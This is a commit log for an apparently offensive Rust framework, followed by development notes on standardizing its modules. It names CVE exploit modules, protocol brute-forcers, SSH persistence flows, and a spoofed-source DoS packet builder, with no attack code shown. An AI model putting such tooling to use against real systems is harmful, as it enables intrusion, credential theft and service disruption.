Compare commits

...

336 Commits

Author SHA1 Message Date
S.B 0303f7df74 Fix formatting issue in Contributing.md 2026-05-14 23:51:59 +02:00
S.B 6894c7523c Add alternative command for Bluetooth feature
Added alternative command for running with Bluetooth feature.
2026-04-22 14:09:17 +02:00
S.B 4403218c05 Update panos_authbypass_cve_2025_0108.rs 2026-04-22 14:05:57 +02:00
S.B a373f07870 Update README formatting and section headers 2026-04-22 14:04:32 +02:00
S.B ba92aa5d9e Update README with Bluetooth configuration instructions
Added instructions for turning Bluetooth ON and OFF using cargo commands.
2026-04-22 14:04:05 +02:00
S.B 4efe2a974a Merge pull request #42 from yonasBSD/yonasBSD
fix: Build on FreeBSD.
2026-04-22 14:03:40 +02:00
Yonas 699827a054 fix: Build on FreeBSD. 2026-04-21 18:36:41 -04:00
S.B 799ded9523 Update README.md 2026-04-21 23:21:18 +02:00
S.B ab748265a0 Update Cargo.toml 2026-04-21 21:25:17 +02:00
S.B 22852e571d Merge pull request #40 from s-b-repo/enic-enamle
Enic enamle
2026-04-21 21:24:35 +02:00
S.B 5667949990 Delete src/modules/scanners/amplification_scanner.rs 2026-04-21 20:34:25 +02:00
S.B a2b829f89c Delete src/modules/scanners/banner_grabber.rs 2026-04-21 20:33:54 +02:00
S.B c9b3d331e7 major update read changelog 2026-04-21 17:01:52 +02:00
S.B bb964cc062 massived updates and fixe 2026-04-13 23:06:31 +02:00
S.B cdaea5221e Update Getting-Started.md 2026-04-13 14:37:27 +02:00
S.B 64414efcf8 Update Getting-Started.md 2026-04-13 14:34:37 +02:00
S.B 1fbcf6d4b5 Update Getting-Started.md 2026-04-13 14:34:18 +02:00
S.B 61863cc301 bug fixes 2026-04-08 00:38:29 +02:00
S.B 906808f392 bug patching 2026-04-07 15:30:18 +02:00
S.B b2c6137389 Merge pull request #39 from s-b-repo/delta-wolf
Delta wolf
2026-04-07 07:43:44 +02:00
S.B e232427464 Delete test_servers.py 2026-04-07 07:38:59 +02:00
S.B ab17b25589 Delete test_api_modules.sh 2026-04-07 07:38:46 +02:00
S.B 4762c3cb7f Delete fuzz_api.py 2026-04-07 07:38:33 +02:00
S.B 3d37c0c67d Delete todo.txt 2026-04-07 01:34:19 +02:00
S.B 8b69bb6234 detailed improvement
more info will be in change log
2026-04-07 01:26:05 +02:00
S.B f51d7c111b unifying more stuff and new docs
adding unify support for api and prompt usage and improving. also adding some preformance improvements new documentations and improvement
2026-03-24 16:17:10 +02:00
S.B 587f7a5163 api support improvements and more read
added api support migrated some other stuff to native modules for speed and also because some of them are not getting updates etc UWU also fixed bugs and also check changelog for info
2026-03-22 19:03:35 +02:00
S.B e0b1fbd06c Merge branch 'delta-wolf' of https://github.com/s-b-repo/rustsploit into delta-wolf 2026-03-19 17:35:22 +02:00
S.B fb9ae7f3c2 api migrations and migration from legacy stuff and fixing shiz
migrated away from free rdp lots of improvements there and created native libs feel free to use native libs but contribute  if you improve please add more wider api support and cli and shell payload mutator for api endpoint going to do that   for payloads gens and other stuff later and im also planning some more bug changes and improvement check the api template
2026-03-19 17:35:15 +02:00
S.B ebeb15e2b7 Update README.md 2026-03-16 11:04:56 +02:00
S.B 219f0710eb Merge branch 'delta-wolf' of https://github.com/s-b-repo/rustsploit into delta-wolf 2026-03-16 10:49:03 +02:00
S.B c2c03295d5 updating readme 2026-03-16 10:48:55 +02:00
S.B 12402c61c4 Update README.md 2026-03-16 10:45:50 +02:00
S.B 22aea2de44 qaultity improvements a fix up
unified default prompts and improved scanning and other target selction systems cleaning up bugs and further improvement read change logs
2026-03-09 01:55:23 +02:00
S.B 347fbd71ec Add quick run command for Debian 13
Added quick run command for Debian 13 to README.
2026-03-04 18:23:11 +02:00
S.B c35bcf50c5 delta wolf spawns
added my to do list this is a backup of progress so far fixed alot fo stuff check change log redisgning the way api runs and works fixing modules ooms adding extra security on prompt handling change some stuff this version is not stable yet so please do be aware
2026-03-04 18:19:35 +02:00
S.B ea1112ef4d Update README.md 2026-02-25 15:23:16 +02:00
S.B 3704f6239e Merge branch 'delta-wolf' of https://github.com/s-b-repo/rustsploit into delta-wolf 2026-02-25 09:52:47 +02:00
S.B 13d0ca712c api rework and bug fixes 2026-02-25 09:52:23 +02:00
S.B d03fe5f237 Update README.md 2026-02-17 13:03:28 +02:00
S.B 9e121c51c0 Update README.md 2026-02-17 12:50:53 +02:00
S.B 82b2b087b0 Update README.md 2026-02-17 12:39:18 +02:00
S.B ce6e4f7e35 updating api 2026-02-17 10:48:07 +02:00
S.B f19891e03b Fix version formatting in Cargo.toml 2026-02-13 02:57:21 +02:00
S.B 0d1afe605b Merge pull request #38 from s-b-repo/thekiaboys
Thekiaboys
2026-02-13 02:56:26 +02:00
S.B ab3c86c437 Add files via upload 2026-02-13 02:56:10 +02:00
S.B 7d3f1e8a51 Delete src/modules/creds directory 2026-02-13 02:55:18 +02:00
S.B 00cf535bac Update package version to v0.4.7 2026-02-13 02:38:23 +02:00
S.B 5fff3916e3 Update changelog-latest.md 2026-02-13 02:36:35 +02:00
S.B 7fa215aee0 Update Cargo.toml 2026-02-13 02:34:35 +02:00
S.B 6d69e14982 Update readme.md 2026-02-13 02:33:37 +02:00
S.B 120832102e Update readme with DoS testing enhancements and new exploits
Enhanced DoS testing features and added new exploit modules. Updated documentation for clarity on optimizations and exclusions.
2026-02-13 02:32:40 +02:00
S.B 7ce7f582ce Update README.md 2026-02-13 02:30:26 +02:00
S.B 99ce6d9e7f Add files via upload 2026-02-13 02:29:15 +02:00
S.B dc9f028495 Delete src/modules/scanners directory 2026-02-13 02:28:32 +02:00
S.B 699de58d4f Add files via upload 2026-02-13 02:27:25 +02:00
S.B 655542e36f Delete src/modules/exploits/empty.txt 2026-02-13 02:26:20 +02:00
S.B 4175c164b0 Delete src/modules/creds directory 2026-02-13 02:23:00 +02:00
S.B 1e657765bf Add files via upload 2026-02-13 02:20:46 +02:00
S.B 3cd9840314 Add files via upload 2026-02-13 02:18:38 +02:00
S.B c8d2d254a0 Add files via upload 2026-02-13 02:17:21 +02:00
S.B f7793bc6ed Create empty.txt 2026-02-13 02:16:31 +02:00
S.B c33650e604 Delete src/modules/exploits directory 2026-02-13 02:14:53 +02:00
S.B 4049849a53 Implement prompt_int function for integer input
Add a function to prompt for an integer input with validation.
2026-02-13 00:48:03 +02:00
S.B a1ca9c3e43 Remove is_configured method from totp_config
Removed the is_configured method from TOTP configuration.
2026-02-13 00:47:35 +02:00
S.B 4bdae0b07f Add placeholder for trusted_proxies in main.rs 2026-02-13 00:45:41 +02:00
S.B 4389cf9015 Update job_archive.rs 2026-02-13 00:44:11 +02:00
S.B f292e8c697 Implement ModuleConfig for API module configuration
Added ModuleConfig struct for API-driven execution with methods to manage configuration settings.
2026-02-13 00:43:39 +02:00
S.B 9616e3fea4 Add files via upload 2026-02-13 00:42:44 +02:00
S.B 30072e4ccb Delete src/modules/creds directory 2026-02-13 00:41:48 +02:00
S.B e45c346376 Enhance API with rate limiting and job management
Added new constants for job ID length, TOTP cleanup interval, API key rate limit, and rate limit window. Enhanced IP tracking and rate limiting features, including cleanup tasks and job management improvements.
2026-02-13 00:41:25 +02:00
S.B d139d64bda Refactor and optimize multiple modules for performance
Optimized null_syn_exhaustion and RTSP Bruteforce modules for performance and memory usage. Implemented new IPMI enumeration module with mass scan capabilities and fixed critical bugs in various modules.
2026-02-06 17:02:20 +02:00
S.B 849a724f0c Refactor interactive shell command input handling 2026-02-06 17:00:50 +02:00
S.B 3db864668c Scope RNG usage for probe ID and jitter duration 2026-02-06 16:59:03 +02:00
S.B e04c08e8d5 Refactor stdin reading for command input 2026-02-06 16:58:22 +02:00
S.B 8a035a2f5b Enhance RDP error handling and password processing
Refactor RDP error classification and improve password processing logic for better performance and memory management.
2026-02-06 15:31:34 +02:00
S.B 1afe9f5184 Refactor RTSP bruteforce logic and improve error handling
Refactor RTSP bruteforce logic for better clarity and error handling. Improve concurrency control and normalize target extraction.
2026-02-06 15:03:39 +02:00
S.B 4c954a7f9f Add files via upload 2026-02-06 14:57:29 +02:00
S.B 6a15adb0d2 Refactor packet building and improve IP spoofing
Refactor packet building to ensure random source IP is used for each packet. Update comments and improve socket creation for IP spoofing.
2026-02-06 14:55:46 +02:00
S.B 956e2d23a2 Update mod.rs 2026-02-06 14:55:08 +02:00
S.B c774a4358a Add files via upload 2026-02-06 14:51:32 +02:00
S.B a120f536b6 Update mod.rs 2026-02-06 14:51:00 +02:00
S.B 018f6234bb Enhance API scanner with timeout and error handling
Added configurable timeout for HTTP requests and improved error handling for stdout flushing and file operations. Enhanced endpoint sorting and deduplication logic.
2026-02-06 12:32:12 +02:00
S.B 22f4bcf2eb Add random color display for module listing
Added a helper function to get a random color for module display and updated the module listing to use this function.
2026-02-06 12:30:47 +02:00
S.B 384b09a6af Add subtle crate for timing attack prevention
Added subtle crate for constant-time comparison.
2026-02-04 14:50:20 +02:00
S.B 1b50556331 Update readme with new features and enhancements 2026-02-04 14:49:54 +02:00
S.B 62dbc9e2ec Update changelog-latest.md 2026-02-04 14:48:50 +02:00
S.B 40180206fa Add files via upload 2026-02-04 14:45:49 +02:00
S.B 9aee2764dd Add files via upload 2026-02-04 14:43:36 +02:00
S.B f21264f99c Add files via upload 2026-02-04 14:41:44 +02:00
S.B 7d875ede8e Create t.txt 2026-02-04 14:40:38 +02:00
S.B c214fc0bfb Delete src/modules/t.txt 2026-02-04 14:39:15 +02:00
S.B a96746297c Add files via upload 2026-02-04 14:38:27 +02:00
S.B 96ac4d9a1a Add files via upload 2026-02-04 14:37:44 +02:00
S.B 1a282ee99b Create t.txt 2026-02-04 14:37:08 +02:00
S.B e7fc49d128 Delete src/t.txt 2026-02-04 14:36:09 +02:00
S.B 4804dcc860 Add files via upload 2026-02-04 14:35:39 +02:00
S.B f1f1cf9855 Add files via upload 2026-02-04 14:32:22 +02:00
S.B d250d23f3c Create t.txt 2026-02-04 14:31:12 +02:00
S.B 2ee136e26d Delete src directory 2026-02-04 14:30:52 +02:00
S.B 6110190d8c Add files via upload 2026-02-03 16:12:32 +02:00
S.B 7fa6643c75 Delete src/mod.rs 2026-02-03 16:12:15 +02:00
S.B 8c9105166f Create mod.rs 2026-02-03 16:04:27 +02:00
S.B 5775fbc016 Update changelog-latest.md 2026-02-03 15:26:12 +02:00
S.B b5e5ac088a Update dependencies in Cargo.toml
Added multipart and form features to reqwest and included new dependencies for TOTP authentication and tar archive format.
2026-02-03 15:25:26 +02:00
S.B 85bc679a5b Delete src/s.txt 2026-02-03 15:20:58 +02:00
S.B 8f83e1013b Delete src/modules/te.txt 2026-02-03 15:20:41 +02:00
S.B 9ef5ec403f Delete src/modules/exploits/t.txt 2026-02-03 15:20:29 +02:00
S.B 324d87b575 Add files via upload 2026-02-03 15:19:41 +02:00
S.B a7a61b59db Add files via upload 2026-02-03 15:17:43 +02:00
S.B 9efdcf274d Create t.txt 2026-02-03 15:15:25 +02:00
S.B 0feab02c60 Add files via upload 2026-02-03 15:14:34 +02:00
S.B 0a892be55a Add files via upload 2026-02-03 15:13:43 +02:00
S.B 73f9c8f9a3 Add files via upload 2026-02-03 15:12:48 +02:00
S.B b8b776f12a Add files via upload 2026-02-03 15:12:28 +02:00
S.B 5d156686c6 Create s.txt 2026-02-03 15:11:15 +02:00
S.B 630f123fe0 Delete src directory 2026-02-03 15:10:43 +02:00
S.B aaa02ee3fe Add files via upload 2026-01-28 09:17:35 +02:00
S.B d746c0fa69 Delete src/modules/creds directory 2026-01-28 09:16:52 +02:00
S.B 1f66601843 Update README.md 2026-01-28 08:49:08 +02:00
S.B 386b19a17f Merge pull request #37 from s-b-repo/thekiaboys
Thekiaboys
2026-01-28 08:36:47 +02:00
S.B 9220bdceb5 Update utils.rs 2026-01-28 08:25:10 +02:00
S.B 9431916b8b Update changelog-latest.md 2026-01-28 07:46:46 +02:00
S.B 5f168a79a3 Add files via upload 2026-01-28 07:46:22 +02:00
S.B 63200f3d5e Add files via upload 2026-01-28 07:45:50 +02:00
S.B 978f27e368 Update mod.rs 2026-01-28 07:44:30 +02:00
S.B 40ea4a3a74 Create mongobleed.rs 2026-01-28 07:44:00 +02:00
S.B 90b83e4c29 Add files via upload 2026-01-28 07:42:49 +02:00
S.B e58535d067 Add files via upload 2026-01-28 07:40:59 +02:00
S.B d3596cf9c1 Add files via upload 2026-01-28 07:40:02 +02:00
S.B c1963bd947 Delete src/modules/exploits directory 2026-01-28 07:39:21 +02:00
S.B 5ca83ef795 Add files via upload 2026-01-28 07:38:24 +02:00
S.B c1202e98e9 Delete src/modules/creds/generic directory 2026-01-28 07:37:29 +02:00
S.B 1957eee693 Update api.rs 2026-01-28 07:36:20 +02:00
S.B dc2763d2c4 Update main.rs 2026-01-28 07:35:50 +02:00
S.B 8f2e4adc2d Update config.rs 2026-01-28 07:35:28 +02:00
S.B 1c934adc33 Update utils.rs 2026-01-28 07:35:09 +02:00
S.B f37f5fa8f5 Update shell.rs 2026-01-28 07:34:47 +02:00
S.B a508bcb7dd Merge pull request #36 from s-b-repo/snowball
Snowball
2026-01-28 07:33:50 +02:00
S.B 260b919fba Update shell.rs 2026-01-26 20:35:54 +02:00
S.B ee3d24f6e8 Update changelog-latest.md 2026-01-26 17:09:26 +02:00
S.B cbe7148938 Update utils.rs 2026-01-26 16:40:36 +02:00
S.B 4ec2631a2c Update ftp_bruteforce.rs 2026-01-26 16:39:28 +02:00
S.B 4d6d127045 Update ftp_anonymous.rs 2026-01-26 16:38:51 +02:00
S.B 7da29ae4fe Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-26 16:37:27 +02:00
S.B edef9da2e5 Merge pull request #34 from s-b-repo/pheonix-arta
Pheonix arta
2026-01-26 11:16:50 +02:00
S.B 0bc088d6e5 Update changelog-latest.md 2026-01-26 11:09:44 +02:00
S.B 723241e50e Update Cargo.toml 2026-01-26 11:08:45 +02:00
S.B 63fb9e2387 Update mqtt_bruteforce.rs 2026-01-26 11:08:06 +02:00
S.B bd40afe476 Add files via upload 2026-01-26 11:07:10 +02:00
S.B 537541be89 Delete src/modules/exploits/ruijie directory 2026-01-26 11:06:42 +02:00
S.B 76a44bc3e7 Add files via upload 2026-01-26 10:22:49 +02:00
S.B 176402c12f Delete src/commands directory 2026-01-26 10:22:26 +02:00
S.B 2c67cfe4ee Add files via upload 2026-01-26 10:21:41 +02:00
S.B a4d94476e4 Delete src/modules/scanners directory 2026-01-26 10:21:13 +02:00
S.B 938b613cc1 Add files via upload 2026-01-26 10:20:47 +02:00
S.B 64a0067a36 Add files via upload 2026-01-26 10:19:46 +02:00
S.B 7feccde0b1 Add files via upload 2026-01-26 10:18:18 +02:00
S.B 84ccbb9ce1 Add files via upload 2026-01-26 10:17:22 +02:00
S.B 60a877ca57 Delete src/modules/exploits directory 2026-01-26 10:16:27 +02:00
S.B 2265480f99 Add files via upload 2026-01-26 10:16:01 +02:00
S.B 6de9934070 Delete src/modules/creds directory 2026-01-26 10:15:00 +02:00
S.B e0e2c4d8a9 Update utils.rs 2026-01-26 10:13:54 +02:00
S.B ba160cade8 Update main.rs 2026-01-26 10:13:28 +02:00
S.B 553180eb16 Update shell.rs 2026-01-26 10:13:09 +02:00
S.B 0b17d39a05 Update config.rs 2026-01-26 10:12:38 +02:00
S.B a348d440f8 Update cli.rs 2026-01-26 10:12:22 +02:00
S.B c60d8a69b3 Update api.rs 2026-01-26 10:12:02 +02:00
S.B cd48200b0e Update changelog-latest.md 2026-01-26 10:11:27 +02:00
S.B 566372adae Update readme.md 2026-01-26 10:09:43 +02:00
S.B 9cb1ec0eb7 Update README.md 2026-01-26 10:09:06 +02:00
S.B 5aa35e8fe4 Update Cargo.toml 2026-01-26 10:08:41 +02:00
S.B 7c17a96ba4 Update readme.md 2026-01-23 14:34:33 +02:00
S.B 4985537680 Update changelog-latest.md 2026-01-23 14:34:03 +02:00
S.B 3514bea13c Update README.md 2026-01-23 14:33:20 +02:00
S.B c69ecb237a Merge pull request #33 from s-b-repo/kindred-spirits
Kindred spirits
2026-01-23 14:22:40 +02:00
S.B d61d0987dc Update telnet_bruteforce.rs 2026-01-23 11:37:07 +02:00
S.B 102d618289 Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-23 11:36:30 +02:00
S.B b5d0ce4c70 Update main.rs 2026-01-23 10:28:53 +02:00
S.B 82ff19dc9d Add files via upload 2026-01-23 10:15:09 +02:00
S.B 8d314e6d78 Update mod.rs 2026-01-23 10:12:33 +02:00
S.B aeaa894336 Update changelog-latest.md 2026-01-23 10:06:00 +02:00
S.B 1b407c349f Update changelog-latest.md 2026-01-23 10:05:04 +02:00
S.B 62cfce1b8d Update README.md 2026-01-22 16:36:07 +02:00
S.B c1f4aca340 Update Cargo.toml 2026-01-22 16:35:21 +02:00
S.B b6208db764 Update changelog-latest.md 2026-01-22 16:33:52 +02:00
S.B 66679ee09d Update utils.rs 2026-01-22 16:31:00 +02:00
S.B 4a4ad714b0 Remove proxy functionality from shell context
Removed proxy-related commands and functionality from the shell context, including loading, enabling, disabling, and testing proxies. Updated target setting commands to include shortcuts.
2026-01-22 16:30:22 +02:00
S.B cf95a3db70 Add core module to main.rs 2026-01-22 16:29:41 +02:00
S.B 5434430ad0 Add files via upload 2026-01-22 16:27:47 +02:00
S.B 6d33f0fdaa Delete src/modules/scanners directory 2026-01-22 16:26:44 +02:00
S.B 77124d25a2 Add files via upload 2026-01-22 16:25:33 +02:00
S.B 7ec5089ea8 Delete src/modules/exploits directory 2026-01-22 16:20:55 +02:00
S.B 587e11267a Add files via upload 2026-01-22 16:19:49 +02:00
S.B 65c6ec75b4 Delete src/modules/creds directory 2026-01-22 16:19:07 +02:00
S.B 6bbb9d3048 Add files via upload 2026-01-22 16:18:38 +02:00
S.B de6b598cd9 Delete src/commands directory 2026-01-22 16:18:10 +02:00
S.B d66f33193f Update ftp_bruteforce.rs 2026-01-18 18:53:33 +02:00
S.B be2237e39b Enhance FTP anonymous login checker with mass scan
Added support for mass scanning and improved IP exclusion handling.
2026-01-18 18:52:14 +02:00
S.B f4935c1f9e Update and rename rtsp_bruteforce_advanced.rs to rtsp_bruteforce.rs 2026-01-18 18:50:51 +02:00
S.B b646039f2e Add files via upload 2026-01-18 18:48:13 +02:00
S.B c6c577ed52 Delete src/modules/exploits/ftp directory 2026-01-18 18:47:22 +02:00
S.B 77639bcf8b Update Cargo.toml 2026-01-18 18:46:04 +02:00
S.B 49ab851ffe Add files via upload 2026-01-18 18:45:05 +02:00
S.B 03779dbe64 Update mod.rs 2026-01-18 18:44:35 +02:00
S.B e01e231579 Merge pull request #32 from s-b-repo/esoteric-markdown
Esoteric markdown
2026-01-17 01:06:24 +02:00
S.B 0b31da3384 Bump version from 0.3.5 to 0.4.3 2026-01-17 00:54:39 +02:00
S.B d8e0210d70 Refactor body creation for POST request 2026-01-17 00:46:12 +02:00
S.B 803c19c2af Update ivanti_epmm_cve_2023_35082.rs 2026-01-17 00:45:13 +02:00
S.B 41fd1ec33b Update Cargo.toml 2026-01-17 00:40:16 +02:00
S.B a6de04092a Add files via upload 2026-01-17 00:33:44 +02:00
S.B f08e88055a Delete src/modules/exploits/tplink directory 2026-01-17 00:33:02 +02:00
S.B 6a0446996e Update changelog-latest.md 2026-01-17 00:32:28 +02:00
S.B 9e9c78b1e5 Add module for CVE-2023-35082 exploit 2026-01-17 00:18:05 +02:00
S.B fea19075ce Add files via upload 2026-01-17 00:17:33 +02:00
S.B 5735f90860 Add files via upload 2026-01-17 00:15:38 +02:00
S.B 7df00dc03b Add files via upload 2026-01-17 00:14:56 +02:00
S.B 8d49f2e5cf Add files via upload 2026-01-17 00:13:49 +02:00
S.B 1d548818e6 Delete src/modules/exploits/fortios directory 2026-01-17 00:12:55 +02:00
S.B f66cf16931 Delete src/modules/exploits/fortiweb directory 2026-01-17 00:12:41 +02:00
S.B 9a9b8304cf Rename fortiweb and fortios modules to fortinet and add exim 2026-01-17 00:12:18 +02:00
S.B 51c0251798 Update changelog-latest.md 2026-01-17 00:11:31 +02:00
S.B 32bed1d2a4 Update changelog-latest.md 2026-01-16 23:24:01 +02:00
S.B 9f6d6361eb Add files via upload 2026-01-16 23:22:40 +02:00
S.B d56ad77d1e Delete src/commands directory 2026-01-16 23:22:03 +02:00
S.B 8a493954b6 Refactor build.rs for better module handling
Refactor build script to improve module discovery and dispatch generation.
2026-01-16 23:21:46 +02:00
S.B c247b3b5ab Update Cargo.toml 2026-01-16 23:20:22 +02:00
S.B 6aadd98518 Add files via upload 2026-01-16 23:04:38 +02:00
S.B b1759d0f86 Delete src/modules/exploits/tplink directory 2026-01-16 23:04:13 +02:00
S.B fe15591faa Update changelog-latest.md 2026-01-16 23:03:42 +02:00
S.B 3b4accba35 Update changelog-latest.md 2026-01-16 22:38:10 +02:00
S.B 1534b9aa95 Add command chaining instructions to README
Added command chaining section to README with examples.
2026-01-16 22:36:26 +02:00
S.B a014f9e485 Document command chaining feature
Add section on command chaining in the shell.
2026-01-16 22:35:40 +02:00
S.B 34cb58ee01 Update main.rs 2026-01-16 22:34:12 +02:00
S.B ac8c0e18df Update utils.rs 2026-01-16 22:33:17 +02:00
S.B cb1ff2b4e0 Add files via upload 2026-01-16 22:29:49 +02:00
S.B 7a2af6fdf1 Delete src/modules/scanners directory 2026-01-16 22:28:59 +02:00
S.B 290f859058 Add files via upload 2026-01-16 22:20:41 +02:00
S.B a3bd842971 Delete src/modules/exploits directory 2026-01-16 22:14:54 +02:00
S.B f38aea01c2 Add files via upload 2026-01-16 22:14:19 +02:00
S.B 7b0a246ccc Delete src/modules/creds directory 2026-01-16 22:05:40 +02:00
S.B 718719b7d1 Delete src/test 2026-01-13 16:51:52 +02:00
S.B 2876abdbb1 Update Cargo.toml 2026-01-13 16:51:30 +02:00
S.B 6f98db53a5 Add new exploit modules and upgrade dependencies
Implemented new exploit modules for MongoBleed, NginxPwner, Hikvision, n8n, and FortiWeb, along with various updates and fixes to existing modules. Upgraded dependencies and resolved compilation errors across the project.
2026-01-13 16:50:45 +02:00
S.B c1bce55552 Create LICENSE 2026-01-12 07:17:21 +02:00
S.B c0aec6ed64 Delete LICENSE 2026-01-12 07:16:33 +02:00
S.B dbd2b50ef2 Delete .github/workflows directory 2026-01-05 07:57:41 +02:00
S.B eb2e8542a9 Add pnet dependency and update home for 2024 2026-01-05 07:56:21 +02:00
S.B f02c6a2274 Create changelog-latest.md 2026-01-05 07:55:33 +02:00
S.B 5650be5720 Create changelog.md 2026-01-05 07:55:04 +02:00
S.B 4ee5eeab42 Add files via upload 2026-01-05 00:51:03 -05:00
S.B 818a82982f Add files via upload 2026-01-05 00:47:55 -05:00
S.B f4d7c45f1d Create test 2026-01-05 07:47:04 +02:00
S.B 421b2508a0 Delete src directory 2026-01-05 07:34:14 +02:00
S.B e4066ceea6 Delete changelog directory 2026-01-05 07:30:21 +02:00
S.B 0f2d4cad8a Update README.md 2026-01-05 07:27:56 +02:00
S.B 1a53215512 Update readme.md 2026-01-05 07:26:59 +02:00
S.B 34aa655e36 Create Latest-changelog.md 2026-01-05 07:16:09 +02:00
S.B 1741c043f9 Delete changelog/archive/changelog-2026.md 2026-01-05 07:15:46 +02:00
S.B b1ac4e0190 Create changelog-2026.md 2026-01-05 07:15:28 +02:00
S.B 1b4dfca8e2 Delete changelog/test 2026-01-05 07:14:05 +02:00
S.B a78073381b Delete changelog/archive/test 2026-01-05 07:13:55 +02:00
S.B 17e081eb16 Create changelog.md 2026-01-05 07:13:43 +02:00
S.B 5299059ca8 Create test 2026-01-05 07:12:59 +02:00
S.B d489e5d2e3 Create test 2026-01-05 07:12:43 +02:00
S.B 337d7d5249 Delete changelog/archive/2025 directory 2026-01-05 07:11:31 +02:00
S.B ef5457d00a Add files via upload 2026-01-05 00:11:17 -05:00
S.B 0164912f52 Delete changlog/archived/2025 directory 2026-01-05 07:10:05 +02:00
S.B d62c65e8fb Create changelog.md 2026-01-05 07:09:46 +02:00
S.B cdeed7c799 Delete changelog.md 2026-01-05 07:08:57 +02:00
S.B da075a08ce Merge pull request #30 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-09 23:49:43 +02:00
S.B d91e1d2a25 Update changelog.md 2025-12-09 23:40:56 +02:00
S.B 5d0634670b Add files via upload 2025-12-09 23:40:11 +02:00
S.B d6d9e5e836 Delete src directory 2025-12-09 23:37:51 +02:00
S.B 30396b2414 Merge pull request #29 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-07 20:21:36 +02:00
S.B a24d9c79de Update print statement from 'Hello' to 'Goodbye' 2025-12-07 20:18:51 +02:00
S.B aed7b0b93e Add files via upload 2025-12-07 20:17:33 +02:00
S.B c26a0f116c Update readme.md 2025-12-07 20:16:08 +02:00
S.B 7a781ae2fa Update README with highlights and examples 2025-12-07 20:12:30 +02:00
S.B ba3a6480d2 Update README.md 2025-12-07 20:10:35 +02:00
S.B ae435a2143 Add files via upload 2025-12-07 20:09:41 +02:00
S.B 20b610a1d5 Delete src directory 2025-12-07 20:07:55 +02:00
S.B 9de9f0a8c9 Merge pull request #28 from s-b-repo/more-brute-forcing
More brute forcing


###  arc 2 nimla patching



Analyze and fix ABUS variant1 module - add colored output, standardize features
Analyze and fix ABUS variant2 module - add colored output, standardize features
Review and standardize other exploit modules for consistency
Verify all modules compile and logic is correct
Based on my analysis, here are the key features that should be standardized across exploit modules where compatible:
Colored output using the colored crate for better UX
Timeout configuration for HTTP clients
IPv6 normalization
SSL certificate skip for testing targets with self-signed certs
Informative banners/output with status indicators
Let me update the ABUS variant1 module to have these standardized features:


ABUS Security Camera CVE-2023-26609 Modules
Variant 1 (abussecurity_camera_cve202326609variant1.rs)

Features added:

Colored output using the colored crate for better UX
Display banner with module information
Timeout configuration (10 second default)
Improved prompts with colored formatting
Stage indicators (Stage 1/2/3) for the SSH persistence flow
Better error messages with red coloring for failures
Status-based output - green for success, red for failure
Variant 2 (abussecurity_camera_cve202326609variant2.rs)

Features added:

Colored output using the colored crate
Display banner with module information
Timeout configuration (10 second default)
Input validation - checks for empty username/password
Stage indicators for the SSH persistence flow
Improved user feedback with colored status messages
Other Modules Updated
I also standardized these modules with colored output, banners, timeouts, and improved UX:
ACTi ACM-5611 RCE - Added banner, colored output, port prompts, vulnerability check feedback
AVTech Camera CVE-2024-7029 - Added banner, colored output, improved shell interface
TP-Link WR740N DoS - Added banner, colored output, improved prompts
Zabbix SQL Injection - Added banner, colored output, timing-based detection improvement
Uniview NVR Password Disclosure - Added banner, colored output, improved feedback
Sample Exploit - Added banner, colored output for demonstration
Standardized Features Across All Modules

The following features are now consistently available where compatible:

Feature	Description
Colored Output	Using colored crate for cyan info, yellow warnings, green success, red errors
Display Banners	ASCII art banners showing module name, CVE, and description
Timeout Configuration	Configurable HTTP timeouts (default 10 seconds)
SSL Certificate Skip	danger_accept_invalid_certs(true) for testing self-signed certs
IPv6 Normalization	Proper handling of IPv6 addresses with bracket normalization
Input Validation	Checking for empty required fields
Stage Indicators	Yellow stage markers for multi-step exploits
All modules compile successfully with no warnings from cargo clippy. The code logic remains intact and all original functionality is preserved.


Credential Modules Standardized
Camera Modules
acti_camera_default.rs - Added colored output, display banner, timeout constant, and colored status messages for FTP/SSH/Telnet/HTTP checks
Generic Modules
Module	Changes
ftp_anonymous.rs	Added display_banner(), colored output, timeout constant
ftp_bruteforce.rs	Added display_banner(), updated header styling
sample_cred_check.rs	Added display_banner(), colored output, timeout with danger_accept_invalid_certs
ssh_bruteforce.rs	Already had banner and statistics - unchanged
telnet_bruteforce.rs	Already had comprehensive banner and statistics - unchanged
rdp_bruteforce.rs	Added display_banner(), updated header styling
smtp_bruteforce.rs	Added display_banner(), improved colored output for success/failure
pop3_bruteforce.rs	Already had banner and statistics - unchanged
snmp_bruteforce.rs	Added display_banner(), updated header styling
rtsp_bruteforce_advanced.rs	Added display_banner(), updated header styling
l2tp_bruteforce.rs	Added display_banner(), updated header styling
fortinet_bruteforce.rs	Added display_banner(), updated header styling
enablebruteforce.rs	Added display_banner(), full colored output
Standard Features Added

All modules now have:

 Cyan-bordered ASCII banner with module title
 Colored target information ([*] in cyan)
 Green success messages ([+])
 Yellow warning/failure messages ([-])
 Red error messages ([!])
 Consistent use of colored crate
 IPv6 address handling where applicable
 Timeout constants where applicable
The project compiles cleanly with cargo build and passes cargo clippy with no warnings.

Critical Issues Found:
SSH Bruteforce - Semaphore acquired BEFORE spawning task (blocks task creation)
FTP/RDP/SNMP Bruteforce - Missing progress statistics
Several modules - Missing retry logic and connection rate limit handling
Let me fix these:


Critical Fixes:

1. SSH Bruteforce - Fixed concurrency bug

The semaphore was being acquired BEFORE spawning the task, which serialized task creation. Now acquires permit INSIDE the spawned task for true concurrent execution.

2. Enable Bruteforce (ulimit) - Fixed non-functional code

Running ulimit -n 65535 in a subprocess does NOT affect the parent process. Rewrote to use setrlimit() syscall directly, which actually raises the file descriptor limit in the current process.
Standardized Features Added

Added Statistics tracking and real-time progress reporting to:
Module	Concurrency Model	Progress Reporting Added
FTP Bruteforce	tokio async + Semaphore	
RDP Bruteforce	tokio async + Semaphore	
SNMP Bruteforce	tokio async + spawn_blocking	
RTSP Bruteforce	tokio async + Semaphore	
L2TP Bruteforce	tokio async + Semaphore	
Fortinet Bruteforce	tokio async + Semaphore	
SMTP Bruteforce	ThreadPool + crossbeam	
Already Correctly Implemented

Module	Notes:

Telnet Bruteforce	Uses tokio async TcpStream (correctly async), already has statistics
POP3 Bruteforce	Uses ThreadPool + crossbeam (correct for blocking I/O), already has statistics
Concurrency Models Verified
Async modules (FTP, RDP, SSH, RTSP, L2TP, Fortinet, Telnet): Use tokio::net::TcpStream or spawn_blocking for blocking libraries - 

this is correct

